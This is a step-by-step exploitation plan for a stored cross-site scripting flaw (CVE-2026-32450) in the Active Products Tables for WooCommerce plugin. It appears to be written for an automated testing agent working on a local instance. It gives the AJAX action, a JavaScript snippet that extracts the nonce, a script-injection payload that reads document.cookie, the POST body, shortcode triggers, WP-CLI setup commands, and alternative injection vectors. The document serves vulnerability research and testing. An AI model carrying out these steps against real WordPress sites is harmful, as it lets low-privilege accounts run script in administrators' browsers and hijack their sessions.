Exploitation Research Plan: CVE-2026-32450 (Active Products Tables for WooCommerce)

1. Vulnerability Summary

The Active Products Tables for WooCommerce (slug: profit-products-tables-for-woocommerce) plugin is vulnerable to Stored Cross-Site Scripting (XSS) in versions up to 1.0.7. The vulnerability exists because the plugin's "Constructor" feature, which allows users to build and save custom product tables, fails to sanitize user-supplied input when saving table configurations and fails to escape that data when rendering the table via a shortcode.

This allows an authenticated attacker with Contributor-level permissions or higher to inject malicious JavaScript into a table's configuration (e.g., in column titles or CSS classes). When the table is displayed on the frontend via a shortcode, the script executes in the context of any user viewing the page, including administrators.

2. Attack Vector Analysis

• Endpoint: /wp-admin/admin-ajax.php
• Action: woot_save_table_settings (inferred based on plugin architecture) or a similar action associated with the "Constructor" tab.
• Vulnerable Parameters: Table configuration fields, specifically title, columns, or css_classes within the JSON-encoded table settings.
• Authentication: Authenticated, Contributor-level access (PR:L).
• Preconditions: The plugin must be active, and WooCommerce must be installed (as it's a WooCommerce extension).

3. Code Flow (Inferred)

1. Entry Point: The attacker sends a POST request to admin-ajax.php with the action woot_save_table_settings.
2. Processing: The plugin's AJAX handler (likely inside a class handling "Constructor" settings) receives the table configuration.
3. Sink (Storage): The handler uses update_option() or update_post_meta() to save the configuration array/object. It likely lacks sanitization (like sanitize_text_field or wp_kses).
4. Retrieval: A user (or the attacker) places a shortcode such as [woot id="123"] on a page.
5. Sink (Output): The shortcode callback retrieves the stored configuration. While iterating through columns to render the table headers or cells, it outputs the stored values directly using echo or similar functions without esc_html() or esc_attr().

4. Nonce Acquisition Strategy

The plugin typically enqueues its settings scripts in the WordPress admin dashboard. The nonces and configuration are localized into a JavaScript object.

1. Identify Script Localization: Look for wp_localize_script calls in the source. Common variable names for this plugin family: woot_vars, woot_constructor_vars, or woot_admin_vars.
2. Target Page: Navigate to the plugin's "Constructor" page (usually wp-admin/admin.php?page=woot&tab=constructor).
3. Extraction:
   • Use browser_navigate to reach the admin page as a Contributor.
   • Use browser_eval to extract the nonce:

     window.woot_vars?.nonce || window.woot_constructor_vars?.nonce || document.querySelector('input[name="woot_nonce"]')?.value
     

4. Verification: Check if the action used for wp_create_nonce matches the one checked in the AJAX handler (likely woot_save_table_settings).

5. Exploitation Strategy

1. Authentication: Log in as a user with the Contributor role.
2. Identify Table ID: Create a dummy table via the UI or identify the ID of an existing table.
3. Craft Payload: Create a JSON object representing the table settings where a column title contains the XSS payload.
   • Payload: "><script>alert(document.cookie)</script>
4. Execute AJAX Request: Send the malicious configuration via http_request.
   • URL: http://localhost:8080/wp-admin/admin-ajax.php
   • Method: POST
   • Body (URL-encoded):
     • action=woot_save_table_settings
     • woot_nonce=[EXTRACTED_NONCE]
     • table_id=1 (or the target ID)
     • settings=[JSON_PAYLOAD_CONTAINING_XSS]
5. Trigger Execution:
   • Create a new post/page as the Contributor.
   • Insert the shortcode: [woot id=1] (replacing 1 with the target ID).
   • Publish/Preview the post.
6. Verify: Navigate to the public URL of the created post and check if the alert triggers.

6. Test Data Setup

1. Plugin Setup: Install and activate profit-products-tables-for-woocommerce and woocommerce.
2. User Creation:
   • wp user create attacker attacker@example.com --role=contributor --user_pass=password
3. Product Creation: (Optional, but helps rendering)
   • wp post create --post_type=product --post_title="Test Product" --post_status=publish
4. Table Creation: Use the plugin UI or CLI to ensure at least one table structure exists in the database.

7. Expected Results

• The AJAX request should return a success status (e.g., {"success":true}).
• The wp_options or wp_postmeta table in the database should now contain the raw <script> payload.
• Upon viewing the page containing the [woot] shortcode, the browser should execute the injected script, manifesting as an alert box or a failed network request (if using a blind XSS payload).

8. Verification Steps

1. Database Check:

   wp option get woot_tables --format=json | grep "script"
   # OR if stored in meta:
   wp post meta list [TABLE_POST_ID] --keys=woot_table_settings
   

2. Frontend Inspection:
   • Visit the post URL.
   • Search the HTML source for the payload:

     http_request GET [POST_URL] | grep -C 5 "alert(document.cookie)"
     

9. Alternative Approaches

• CSS-Based XSS: If the title field is sanitized, try the css_classes field or custom_style fields if the "Constructor" allows them.
• Shortcode Attribute Injection: If the AJAX save is too restrictive, check if the shortcode itself accepts attributes that are rendered without escaping:
  • [woot title='<script>alert(1)</script>']
• Settings Export/Import: Check if the plugin has an Import/Export feature for table configurations. These often lack validation on the import side.